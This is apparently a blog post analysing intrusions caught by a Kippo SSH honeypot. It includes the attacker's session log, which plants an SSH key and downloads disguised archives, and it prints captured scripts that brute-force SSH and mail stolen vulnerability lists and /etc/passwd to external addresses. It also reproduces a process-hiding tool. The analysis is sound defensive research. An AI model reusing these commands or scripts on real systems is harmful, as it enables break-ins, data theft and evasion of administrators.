server:/.ssh# echo ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600 ~/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ== rsa-key-20080201 >> ~/.ssh/authorized_keys

server:/.ssh# cd ..

server:/# ;s =a
bash: s: command not found

server:/#

server:/# ls -a
.          ..         sys        bin        mnt        media      vmlinuz
opt        cdrom      selinux    tmp        proc       sbin       etc
dev        srv        initrd.img lib        home       var        usr
boot       root       lost+found .ssh

server:/# rm -rf .ssh

server:/# cd

server:~# cd /tmp

server:/tmp# ls -a
.         ..        .ICE-unix .X11-unix

server:/tmp# mkdir ,

server:/tmp# cd ,

server:/tmp/,# wget http://pinky.clan.su/mech/fast.jpg ;  tar fast.jpg
--2011-03-02 21:07:41--  http://pinky.clan.su/mech/fast.jpg
Connecting to pinky.clan.su:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 821334 (802K) [image/jpeg]
Saving to: `fast.jpg

100%[======================================>] 821,334      113K/s  eta 0s

2011-03-02 21:07:49 (113 KB/s) - `fast.jpg' saved [821334/821334]

tar: You must specify one of the `-Acdtrux' options

Try `tar --help' or `tar --usage' for more information.

server:/tmp/,# tar zxvf fast.jpg
fast
fast/src
fast/src/xmech.o
fast/src/xmech.c
fast/src/vars.o
fast/src/vars.c
fast/src/userlist.o
fast/src/userlist.c
fast/src/usage.h
fast/src/text.h
fast/src/structs.h
fast/src/socket.o
fast/src/socket.c
fast/src/parse.o
fast/src/parse.c
fast/src/mcmd.h
fast/src/Makefile.in
fast/src/Makefile
fast/src/main.o
fast/src/main.c
fast/src/link.o
fast/src/link.c
fast/src/h.h
fast/src/global.h
fast/src/gencmd.c
fast/src/gencmd
fast/src/function.o
fast/src/function.c
fast/src/defines.h
fast/src/debug.o
fast/src/debug.c
fast/src/dcc.o
fast/src/dcc.c
fast/src/config.h.in
fast/src/config.h
fast/src/commands.o
fast/src/commands.c
fast/src/combot.o
fast/src/combot.c
fast/src/com-ons.o
fast/src/com-ons.c
fast/src/channel.o
fast/src/channel.c
fast/src/cfgfile.o
fast/src/cfgfile.c
fast/r
fast/r/rversions.e
fast/r/rtsay.e
fast/r/rsignoff.e
fast/r/rsay.e
fast/r/rpickup.e
fast/r/rnicks.e
fast/r/rkicks.e
fast/r/rinsult.e
fast/r/raway.e
fast/mkindex
fast/Makefile
fast/m.set
fast/m.help
fast/LinkEvents
fast/go
fast/genuser
fast/configure
fast/checkmech
fast/bash
fast/3.user
fast/2.user
fast/1.user
fast/configure.c

server:/tmp/,# cd fast

server:/tmp/,/fast# ls -a
.           ..          src         r           mkindex     Makefile
m.set       m.help      LinkEvents  go          genuser     configure
checkmech   bash        3.user      2.user      1.user      configure.c

server:/tmp/,/fast# vi 1.user
E558: Terminal entry not found in terminfo

server:/tmp/,/fast# pico 1.user
bash: pico: command not found

server:/tmp/,/fast# apt-get  install pico
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  pico
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 158.2kB of archives.
After this operation, 347.6kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main pico 1.15-7 [158.2kB]
Fetched 158.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking pico (from .../archives/pico_1.15-7_i386.deb) ...
Processing triggers for man-db ...
Setting up pico (1.15-7) ...

server:/tmp/,/fast# pico 1.user
pico: Segmentation fault

server:/tmp/,/fast# ./pico 1.user
bash: ./pico: command not found

server:/tmp/,/fast# wget pinky.clan.su/altele/pico.jpg
--2011-03-02 21:09:32--  http://pinky.clan.su/altele/pico.jpg
Connecting to pinky.clan.su:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 84478 (82K) [image/jpeg]
Saving to: `pico.jpg

100%[======================================>] 84,478       27K/s  eta 1s

2011-03-02 21:09:34 (27 KB/s) - `pico.jpg' saved [84478/84478]
server:/tmp/,/fast# tar zxvf pico.jpg
pico

server:/tmp/,/fast# ./pico 1.user
Shall we play a game?
A strange game. The only winning move is not to play.  How about a nice game of chess?

server:/tmp/,/fast# ./pico 1.user
Shall we play a game? y
A strange game. The only winning move is not to play.  How about a nice game of chess?

server:/tmp/,/fast#

server:/tmp/,/fast# ls -a
.           ..          src         r           mkindex     Makefile
m.set       m.help      LinkEvents  go          genuser     configure
checkmech   bash        3.user      2.user      1.user      configure.c
pico.jpg    pico

server:/tmp/,/fast# apt-get install vi
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  vi
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 442.2kB of archives.
After this operation, 972.4kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main vi 0.12-1 [442.2kB]
Fetched 442.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking vi (from .../archives/vi_0.12-1_i386.deb) ...
Processing triggers for man-db ...
Setting up vi (0.12-1) ...

server:/tmp/,/fast# vi 1.user
E558: Terminal entry not found in terminfo

server:/tmp/,/fast#

server:/tmp/,/fast# wget http://root-arhive.do.am/scanner/goshNEW.jpg  ; tar zxvf goshNEW.jpg ; cd goshNEW ; chmod +x *

server:/tmp/,/fast# cd ..

server:/tmp/,# ls -a
.        ..       fast.jpg fast

server:/tmp/,# wget http://root-arhive.do.am/scanner/goshNEW.jpg  ; tar zxvf goshNEW.jpg ; cd goshNEW ; chmod +x *
--2011-03-02 21:11:59--  http://root-arhive.do.am/scanner/goshNEW.jpg
Connecting to root-arhive.do.am:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3144067 (2M) [image/jpeg]
Saving to: `goshNEW.jpg

100%[======================================>] 3,144,067    759K/s  eta 0s

2011-03-02 21:12:03 (759 KB/s) - `goshNEW.jpg' saved [3144067/3144067]

goshNEW
goshNEW/a
goshNEW/userrootmic.txt
goshNEW/gen-pass.h
goshNEW/mass
goshNEW/2
goshNEW/ss
goshNEW/pscan2
goshNEW/secure
goshNEW/ssh-scan
goshNEW/sortateusr.txt
goshNEW/CITESTE-INAINTE-SA-INCEPI
goshNEW/vuln.txt
goshNEW/common
goshNEW/1
goshNEW/gen-pass.sh
goshNEW/go.shB
goshNEW/pass_file
goshNEW/5
goshNEW/userroomare.txt
goshNEW/3
goshNEW/mfu.txt
goshNEW/4
goshNEW/screen
goshNEW/go.shA

server:/tmp/,/goshNEW# screen
bash: screen: command not found

server:/tmp/,/goshNEW# ./screen
Shall we play a game?
A strange game. The only winning move is not to play.  How about a nice game of chess?

server:/tmp/,/goshNEW#

server:/tmp/,/goshNEW# apt-get install screen
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  screen
0 upgraded, 1 newly installed, 0 to remove and 259 not upgraded.
Need to get 774.2kB of archives.
After this operation, 1702.8kB of additional disk space will be used.
Get:1 http://ftp.debian.org stable/main tmpgoshNEWscreen 0.19-7 [774.2kB]
Fetched 774.2kB in 1s (4493B/s)
Reading package fields... Done
Reading package status... Done
(Reading database ... 177887 files and directories currently installed.)
Unpacking tmpgoshNEWscreen (from .../archives/tmpgoshNEWscreen_0.19-7_i386.deb) ...
Processing triggers for man-db ...
Setting up tmpgoshNEWscreen (0.19-7) ...
server:/tmp/,/goshNEW# screen

Malware analysis

Kippo also provides another handy function: it stores any downloaded files. This allows us to further analyze some of the malware used by the intruders.

File http___fiunic_eu_pub.tgz

An archive containing what looks like source code for an SSH server.

File http___pinky_clan_su_mech_fast.tgz

This archive contains an IRC bot. configure.c shows:

#############CONF##############
my $hidden = '/usr/sbin/apache/log';
my $linas_max='4';
my $sleep='5';
my @admins=("Senil","Dereglat");
my @hostauth=("Senil.users.quakenet.org","Dereglat.users.quakenet.org");
my @channels=("#anyone312");
my $nick='bombon';
my $ircname ='furt';
my $realname = 'pe fatza';
my $server='multiplay.uk.quakenet.org';
my $port='6667';
##############################

Joining the channel on Quakenet reveals nothing.

The archive also contains an executable called bash. This is a compiled EnergyMech IRC bot. The source code is also included in the archive, together with configuration:

SERVER diemen.nl.eu.undernet.org 6667
SERVER London2.UK.EU.Undernet.Org 6667
SERVER 62.231.74.10 6667
SERVER lelystad.nl.eu.undernet.org 6667
SERVER mesa.az.us.undernet.org 6667
SERVER Zagreb.Hr.EU.UnderNet.org 6667
SERVER Helsinki.FI.EU.Undernet.org 6667
SERVER Carouge.CH.EU.Undernet.org 6667
SERVER us.undernet.org 6667
SERVER oslo2.no.eu.undernet.org 6667
ENTITY x

###BOT 1###
NICK Red-hack1
USERFILE 1.user
CMDCHAR .
LOGIN rosu
IRCNAME  4Â®  12Welcome  3in  14My  4World 13!!!  7Â®
MODES +ix-ws
HASONOTICE
TOG CC          1
TOG CLOAK       1
TOG SPY         1
SET OPMODES     6
SET BANMODES    6
CHANNEL         #canalul-tau
TOG PUB         1
TOG MASS        1
TOG SHIT        1
TOG PROT        1
TOG ENFM        0
SET MKL         7
SET MBL         7
SET MPL         1

Also here, joining the channel does nothing.

The archive also contains a shell script, used to check if the bot is still running and to restart it:

#! /bin/sh
RUN=./bash
OPT=
OUTPUT=./mech.cron
if [ -r mech.pid ]; then
  PID=`cat mech.pid`
  if [ -r /proc/$PID ]; then
    exit 0
  fi
  if ( kill -0 $PID 1> /dev/null 2> /dev/null ); then
    exit 0
  fi
fi
echo >> $OUTPUT
echo "Mech restarted:" >> $OUTPUT
( date 2>&1 ) >> $OUTPUT
echo >> $OUTPUT
( $RUN $OPT 2>&1 ) >> $OUTPUT95

Shell scripts like these are often put in crontabs.

File http___arhiva_do_am_scan.tar

This archive contains the often repacked pscan and ssh-scan tools. A shell script called start contains:

#/bin/bash
# start.sh script
# part of ssh massrooter by pulea
# /j #r.o.o.t pt intrebari :)

if [ $# != 1 ]; then
        echo "[+] pulea zice :"
sleep 3
        echo "[+] sa-mi bag pula in creierii tai !"
        echo "[+] ex. : $0 <b class>"
        exit;
fi

clear
cat a1
if [ -f a4 ]; then
echo "[+] Checking files.."
sleep 3
echo " OK"
perl sshc.c

./a $1.0
./a $1.1
./a $1.2
./a $1.3
./a $1.4
./a $1.5
./a $1.6
./a $1.7
./a $1.8
./a $1.9
./a $1.10
./a $1.11
./a $1.12
./a $1.13
./a $1.14
./a $1.15
./a $1.16
./a $1.17
./a $1.18
./a $1.19
./a $1.20

cat vuln.txt |mail -s "vuln.txt" luchian8@gmail.com

#SNIP

rm -rf sshc.c
killall -9 a
killall -9 a
killall -9 pscan2
if [ "$(whoami)" != "root" ]; then
./sshf
else
./sshf0
fi
clear
echo "[+] momentul adevarului :)"
echo "[+] ne odihnim cateva secunde .."
sleep 5
echo ""
cat vuln.txt
cat vuln.txt >> .vulnold.txt
echo > vuln.txt
cat a6 >> vuln.txt
else
echo "[+] Checking files.."
sleep 3
echo " error"
echo "[+] Some file are missing"
echo "[+] Please reinistall it from your wget"
echo "[+] or ask pulea !"

I wonder who this luchian8@gmail.com is… Anyway, a is another shell script running:

#!/bin/bash

./pscan2 $1 22
sleep 5
cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo ""
echo "[+] Attacking $oopsnr2 servers!"
echo ""
perl sshc.c
rm -rf sshc.c
./pass_sh
./ssh-scan 100
rm -rf $1.pscan.22 mfu.txt
echo ""

pscan is a basic port scanner for an IP block. ssh-scan is a password brute forcer. Other files just contain some dubious ascii art:

 __^__                                                              __^__
( ___ )------------------------------------------------------------( ___ )
 | / |               #help-bnc present`s:                           | \ |
 | / |       OmAr'z ssh massrooter build on 11-01-2006              | \ |
 | / |                                                              | \ |
 | / |                  Thanks to :  OmAr                           | \ |
 | / |                 and to all #OmAr members.                    | \ |
 | / |                                                              | \ |
 | / |    Fucks goes to : all hackers, we are script kiddies..      | \ |
 | / |                    so what ? fuck off !                      | \ |
 | / |                                                              | \ |
 | / |                      EOF by OmAr                             | \ |
 | / |--------------------------------------------------------------| \ |
 |___|______________[OmAr'z ssh massrooter by OmAr]_________________|___|
(_____)------------------------------------------------------------(_____)
   ^                                                                  ^

File http___gblteam_webs_com_gosh.tgz.tar

Another repackaging of the pscan-ssh-scan combination. This one contains a script called secure:

#!/bin/bash
if [ `whoami` == "root" ]; then
chmod -x /usr/bin/mail
mv /usr/bin/mail /usr/bin/s8
echo " Done , You can scan now "
else
echo -e " you're not root you're `whoami` with id `id` !! "
fi

… because disabling mail totally hides your tracks, yo.

The script scam contains a variation of the script seen above:

#!/bin/bash
echo "[+] [+] [+] RK [+] [+] [+]" >> info2
echo "[+] [+] [+] IP [+] [+] [+]" >> info2
/sbin/ifconfig -a >> info2
echo "[+] [+] [+] uptime [+] [+] [+]" >> info2
uptime >> info2
echo "[+] [+] [+] uname -a [+] [+] [+]" >> info2
uname -a >> info2
echo "[+] [+] [+] /etc/issue [+] [+] [+]" >> info2
cat /etc/issue >> info2
echo "[+] [+] [+] passwd [+] [+] [+]" >> info2
cat /etc/passwd >> info2
echo "[+] [+] [+] id [+] [+] [+]" >> info2
id >> info2
echo "[+] [+] [+] Spatiu Hdd / pwd [+] [+] [+]" >> info2
df -h >> info2
pwd >> info2
cat info2 | mail -s "Scanner MaLa Port : ?? | Pass : stii tu :))" mafia89tm@yahoo.com
rm -rf info2
clear

echo "####################################################################"
echo "#                          ______                                  "
echo "#                        .-.      .-.                               "
echo "#                       /            \                              "
echo "#                      |     zRR      |                             "
echo "#                      |,  .-.  .-.  ,|                             "
echo "#                      | )(z_/  \z_)( |                             "
echo "#                      |/     /\     \|                             "
echo "#              _       (_     ^^     _)                             "
echo "#      _\ ____) \_______\__|IIIIII|__/_________________________     "
echo "#     (_)[___]{}<________|-\IIIIII/-|__zRR__zRR__zRR___________\    "
echo "#       /     )_/        \          /                               "
echo "#                         \ ______ /                              "
echo "#                         SCANER PRIVAT                             "
echo "#             SCANER FOLOSIT DOAR DE TEAMUL MaLaSorTe               "
echo "#            SACNERUL CONTINE UN PASS_FLIE DE 3MEGA !!              "
echo "####################################################################"

if [ -f a ]; then
cat vuln.txt |mail -s "Lame Gang Us Roots" mafia89tm@yahoo.com
./a $1.0
./a $1.1
./a $1.2
./a $1.3
./a $1.4
./a $1.5
./a $1.6
./a $1.7
./a $1.8
./a $1.9
./a $1.10
cat vuln.txt |mail -s "Lame Gang Us Roots" mafia89tm@yahoo.com

# SNIP
killall -9 a
else
echo # Ciudat ..Nu Ai Urmat Instructiunile  #
echo # trebui dat mv assh a sau mv scan a   #
echo # orice ai avea tu ... dohh ..         #
killall -9 a
killall -9 pscan2
fi

… because writing a for-loop is too hard. I wonder who mafia89tm@yahoo.com is. Also, if you disable mail, how does mail work, exactly?

File: http___no_biju_com_merge_Arhive_devilflood.tar.gz

A package containing executables, probably used to DoS servers. TCP, UDP, IRC and SMTP flooders are present. There is a list of IP addresses in a txt file, probably targets.

There are also a few configuration files with Undernet IRC channels, but joining them reveals no users.

File http___www_freewebs_com_iulianshooter_psyBNC2_3_2_4.tgz.tar.gz

This is PsyBNC:

psyBNC is an easy-to-use, multi-user, permanent IRC-Bouncer with many features. Some of its features include symmetric ciphering of talk and connections (Blowfish and IDEA), the possibility of linking multiple bouncers to an internal network including a shared partyline, vhost- and relay support to connected bouncers and an extensive online help system. Many other helpful functions are included. It compiles on Linux, FreeBSD, SunOs and Solaris.

File http___eu_ro_ca_img.tar

Another package containing pscan. There’s also an IRC bot present:

echo "SERVER 82.196.213.250 6666" >> m.set
echo "SERVER 208.83.20.130 6667" >> m.set
echo "SERVER 195.197.175.21 6669" >> m.set

echo "ENTITY $2" >> m.set

echo "### BOT 1 ###" >> m.set
echo "NICK ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "USERFILE $2.user" >> m.set
echo "CMDCHAR ." >> m.set
echo "LOGIN ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "IRCNAME ${denomination[$((RANDOM%num_denominations))]}" >> m.set
echo "MODES +iwsx" >> m.set
echo "HASONOTICE" >> m.set
echo "VIRTUAL $2" >> m.set
echo "TOG CC          1" >> m.set
echo "TOG CLOAK       1" >> m.set
echo "TOG SPY         1" >> m.set
echo "SET OPMODES     6" >> m.set
echo "SET BANMODES    6" >> m.set
echo "CHANNEL         #$1 " >> m.set
echo "TOG PUB         1" >> m.set
echo "TOG MASS        1" >> m.set
echo "TOG SHIT        1" >> m.set
echo "TOG PROT        1" >> m.set
echo "TOG ENFM        0" >> m.set
echo "SET MKL         7" >> m.set
echo "SET MBL         7" >> m.set
echo "SET MPL         1" >> m.set

Looking at the intercepted logs (see above) reveals the used channels. Joining this channel leads you to an active community of rooters selling shells on hacked servers.

File http___freewebtown_com_pacalici_lib.tgz

Again an IRC bot, together with a shell script checking if the bot is running called y2kupdate (nice try). There’s also source code for a hider program:

/*

psf -- Process Stack Faker (a.k.a. Fucker)

Coded by Stas; (C)opyLeft by SysD Destructive Labs, 1997-2003

Tested on: FreeBSD 4.3, Linux 2.4, NetBSD 1.5, Solaris 2.7

Compile with:

# gcc -O2 -o h h.c
# strip h

Did you ever need to *hide* what are you doing on somewhat like public
server? Like Quake server or maybe John The Ripper? 'Cos when your admin
run "ps auwx" or "top" and sees process like that, it's probable you'll
loose your shell on that server. So, what to do? Rootkit is a good solution
but you need root privilegies to install it and it's a bit overkill for
running an inoffensive eggdrop bot (belive me, I saw user installing rootkit
just to hide eggdrop!). Well, this little proggie does a job for you. It
*will not* erase some entry you wish to hide from process stack. It just
changes a commandline for "ps" entry ;)
This principle is widely used in many security-related programs. Nmap was
the first I saw. How does this technique works? Take a look at execv(3)
system call:

int execv( const char *path, char *const argv[]);

'path' is a path to executable file. And 'argv' array is... Well, it's
just the same 'argv' from:

int main(int argc, char *argv[])

where 'argv[0]' is a commandline and 'argv[1]' and higher are paramenters.
Normally 'argv[0]' receives the same value as 'path' from execv(3). But you
also can use other values! For example, when you run Nmap, it can execv(3)
itself with commandline changed to 'pine'. OK, commandline is gone. But what
to do with paramenters? Nmap uses environment to send paramenters user passed
to 'spoofed' process and ignores other paramenters. If you wish to spoof
'nmap -sS -vv -O -P0 -o lhost.log localhost' as 'pine -i', Nmap "remembers"
it's specific switches and re-execs itself as 'pine' with parameter '-i'.
Fine! But John The Ripper, Quake server & eggdrop can't fake parameters in
this way!!! What's the other way? Sorry, it's *very* dumb and *very* ugly...
What happens if you change commandline to something like:
'pine -i                                            '

(Ya, 'pine -i' plus many space characters 0x20)? Hahah, "ps", "top" & many
other monitors just shift away *real* parameters! So, you don't hide them,
just shift away from screen. Such a "algorithm" doesn't needs neither rootkits,
neither special privilegies! Any user can do that at any time!!! *That's* "psf"
does. Try this:

# psf -s "pine -i" sleep 30 &
[1] 440

# ps auwx
...
stas        84  0.0  0.6  2012 1232 pts/0    S    19:12   0:00 bash -rcfile .bashrc
stas       440  0.0  0.1  1204  376 tty2     S    20:09   0:00 pine -i
stas       450  0.0  0.4  2544  816 tty2     R    20:12   0:00 ps auwx
...

Hahahaah, that's what we need! Please note that commandline change isn't
immediate, just wait a little before it completes. But... Did you noticed
a white line between processes 440 & 450? Uhm, that's our "shift buffer".
Pray for your admin don't notice that! Anyway, they are many more problems
with parameter shifting. "top" program, for example, shows "command names"
instead of "command lines" by default. You see a file name instead of
'argv[0]' value. "psf" tries to fix that creating symlink with name of
faked commandline to real program (on previous example, it creates symlink
/tmp/.psf-xxxx/pine => /usr/bin/sleep). Note that it doesn't works on *BSD
systems (*BSD kernel (?) follows symlink and shows real filename anyway).
The ways to discover faked processes I know are:

 * kidding with top(1)
 * ps auwx --cols 1024
 * cat /proc/[pidn]/cmdline (Linux only)
 * whatever non-standart process stack monitors
 * looking open files with "lsof" program
 * if you use -d (daemonize) option, be careful!!! As any cool daemon should
   do, "psf" closes std(in,out,err). What your admin will think if he (she)
   sees "pine -i" with no parent and neither allocated TTY?!

Too many, don't you think? So, what's *THE BEST* way to hide processes?
Rootkit sounds well, but it's a bit complex to use, you know... So, IMHO,
you must get source of program you wish to hide and hardcode all parameters
inside executable... After that, rename it in whatever and let it go!
Of course you must program at least C/C++ to do such a trick. Now, if
you're glad with my quick & dirty solution called "psf", happy faking!!!
*/

Deviously simple. Adding spaces. There’s also a configuration file present leading to a lonely IRC server:

NICK          Sex
USERFILE      1
CMDCHAR       !
LOGIN          tun
IRCNAME       Nelu
MODES         +ix-ws
TOG CC        0
TOG CLOAK     1
TOG SPY       1
SET OPMODES   4
SET BANMODES  6
SET AAWAY     1
TOG NOIDLE    1

CHANNEL       #brasov
TOG PUB       1
TOG MASS      1
TOG SHIT      1
TOG PROT      1
TOG ENFM      1
SET ENFM      +nt
SET MDL       4
SET MKL       4
SET MBL       4
SET MPL       1


SERVER 200.41.53.1 6667
SERVER chmod.myftp.biz 6667

Joining the channel also reveals a small hacker community using EnergyMechs on hacked servers to DoS Russion web hosts.

File http___ema_ucoz_com_ICE_UNIX.tgz

Again a IRC bot leading to an obscure channel on Undernet. I have not repeated the config here.

Archive containing .sshd

A more unique malware script this time. Containing the shv5-rootkit rootkit, which is, according to the file, “very private”, but dates back to 2007, so it’s probably an old version. The tools first checks for Tripwire, Snort, and other tools. It then continues to install itself into various directories. And starts to install backdoors into various programs (ls, top, …). It then checks for some basic vulnerable daemons, and warns that you should patch them (oh the irony). It finally also checks for other rootkits (tk7, tk8, beX2, tuxkit, optickit) and tries to remove those. It then tries to cover its tracks by clearing log files.

The other files also mostly contained bots pointing to Undernet IRC channels. Some or quite active and contain around 100 bots, others are empty. Joining some of them gets you an immediate ban.

Country statistics

I grepped through hundreds of lines of logging from Kippo, removed duplicate IP addresses, and used GeoIP to do a country lookup. Here are the sorted results:

CN, China                51
US, United States        42
RO, Romania              26
CA, Canada               12
IN, India                11
KR, Korea, Republic of   10
RU, Russian Federation   10
BR, Brazil                8
DE, Germany               8
GB, United Kingdom        8
TH, Thailand              8
IT, Italy                 7
HK, Hong Kong             6
JP, Japan                 5
TR, Turkey                5
AT, Austria               4
TW, Taiwan                4
BE, Belgium               3
CO, Colombia              3
ES, Spain                 3
FR, France                3
NL, Netherlands           3
SE, Sweden                3
CZ, Czech Republic        2
EG, Egypt                 2
ID, Indonesia             2
MD, Moldova, Republic of  2
NO, Norway                2
PL, Poland                2
VN, Vietnam               2
AE, United Arab Emirates  1
AR, Argentina             1
BG, Bulgaria              1
BH, Bahrain               1
CH, Switzerland           1
CL, Chile                 1
CR, Costa Rica            1
GE, Georgia               1
GT, Guatemala             1
HU, Hungary               1
IS, Iceland               1
KE, Kenya                 1
KZ, Kazakhstan            1
LB, Lebanon               1
LT, Lithuania             1
MN, Mongolia              1
MX, Mexico                1
MZ, Mozambique            1
PA, Panama                1
PE, Peru                  1
PH, Philippines           1
SG, Singapore             1
VE, Venezuela             1

Be wary when interpreting these results, as they might represent “countries containing hacked servers” more than “originating countries of hackers”, as hacked servers are, as we’ve seen, often used to get to other targets.

Concluding remarks

Kippo has now been removed from my server, due to the fact that I don’t have enough time to keep checking up on it and I feel a bit uneasy running a honeypot on server containing important data. As I’ve said before, modifying and extending Kippo and analysing the results using a few VPS hosts might be a fun summer project.

The main lesson to take away from this post is this: keep your servers secure. This means running upgrades, but especially choosing strong passwords (or using RSA keys). As we’ve seen, most malware contained brute forcing tools, trying one server after another.

While analyzing cute honeypot logs is by no means doing what one would call “advanced security research”, I did have a lot of fun with it, especially when trying to investigate IRC channels and trailing the hackers.

Some time ago (actually: years and years ago), I myself was (indirectly) involved with a botnet, containing not hundred but thousands of bots, which is a story for another time. I understand the thrill of gaining your first rooted shell, but being on the opposite side of things (that is: running a server instead of hacking one) also shows how script kiddies operate without any regard for privacy, property or data. It is a valuable, but sad lesson.

Bed Against The Wall

Tabular ML: Solved, But Still Risky

Keeping uv Virtual Environments Out of Google Drive

Setup

macOS and Linux

Windows

Notes

Solving Enclose.Horse With CP-SAT

Books I’ve Read in 2025

Solving LinkedIn Queens With CP-SAT

Bonus: Tango

Bonus: Zip

Installing PyTorch and PyTorch Geometric on Mac M* With uv And Without Homebrew.

Maybe Some Games I Look Forward To

Books I’ve Read in 2024

Some Fun With Wave Function Collapse

A Little bit of Formalization

Small Example

Moving to the Overlapping Mode

More Tiles

Supervised WFC?

WFC as Constraint Programming

Supervised Generation with CP

Adding New Levels to a Keras Embedding Layer Without Having to Completely Retrain It

Initial Model

Updated Model Using Two Embedding Layers

Updated Model Using Custom Keras Class

Updated Model Using Custom Keras Constraint

Full Retraining

reMarkable 2 Screen Capture on Windows 10

Does It Make Sense to Tune the Cutoff of Trees in a Random Forests?

Revisiting Discovery of Interaction Effects

On Permutation Feature Importance, Partial Dependence, and Individual Conditional Expectation Plots

Revisiting Friedman’s H-statistic

Using pdpbox

Using scikit-learn

Manually

Conclusion

An Exploration of Cellular Automata and Graph Based Game Systems: Part 4

GDC to the Rescue

Looking for Solutions

A Minimal Implementation

Improving the Simulation

Handling Densities

Adding Interactions

Done For Now

Rigging Match 3 Games

List of Apps (2020)

And Now, Time for Another Rant

My course.fast.ai Notes

Deep Learning 2017 Course: Part 1

Deep Learning 2017 Course: Part 2

Deep Learning 2018 Course: Part 1

Deep Learning 2018 Course: Part 2

Deep Learning 2019 Course: Part 1

Deep Learning 2019 Course: Part 2

Machine Learning Course

List of Apps (2019)

Web

General

Data Science

Coding and Editing

A Tour of Open MongoDB Instances

Rendering Minecraft Maps with R’s rayshader Package

Discovering Interaction Effects in Ensemble Models

Feature Importance

The Trouble with Single-variable Importance Rankings

Partial Dependence Plots

ICE (Individual Conditional Expectation) Plots

Introducing Friedman’s H-statistic

A manual Python implementation

An Exploration of Cellular Automata and Graph Based Game Systems: Part 3

Graphs

Moving objects

Towards more complex systems

List of Apps (2018)

Web

General

Data Science

Coding and Editing

Using `pdpbox`

Using `scikit-learn`